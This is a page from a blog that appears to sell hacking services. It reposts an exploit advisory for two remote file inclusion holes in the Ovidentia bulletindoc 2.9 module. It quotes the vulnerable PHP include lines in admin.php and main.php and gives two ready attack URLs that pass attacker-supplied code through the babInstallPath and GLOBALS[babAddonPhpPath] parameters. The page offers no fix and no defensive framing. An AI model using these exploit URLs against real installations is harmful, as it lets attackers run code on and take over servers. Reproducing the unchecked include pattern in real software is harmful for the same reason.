Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398642

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: Ovidentia Module bulletindoc 2.9 Multiple Remote File Inclusion Vulnerabilities
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fbulletindoc&file=bulletindoc-2-9.zip&idf=792

PoC1:

/bulletindoc-2-9/programs/admin.php line 2
------------------------------------------------------

include $babInstallPath."admin/acl.php";

------------------------------------------------------

[+]Sploit1: http://[s0me0ne]/bulletindoc-2-9/programs/admin.php?babInstallPath=[EviLCode]

Description: The $babInstallPath-parameter isn't declared before include.
             So an attacker can execute evil-code 'bout this.



PoC2:

/bulletindoc-2-9/programs/main.php line 2
-------------------------------------------------------

require_once( $GLOBALS['babAddonPhpPath']."fonctions.php");

-------------------------------------------------------

[+]Sploit2: http://[s0me0ne/bulletindoc-2-9/programs/main.php?GLOBALS[babAddonPhpPath]=SHELLCODE?

Description: The problem is the same as the first. -.-
             It's possible to compromise the system.

### The 27 years old, german hacker bd0rk ###

Greetz: Kacper Szurek, High-Tech Bridge, rgod, LiquidWorm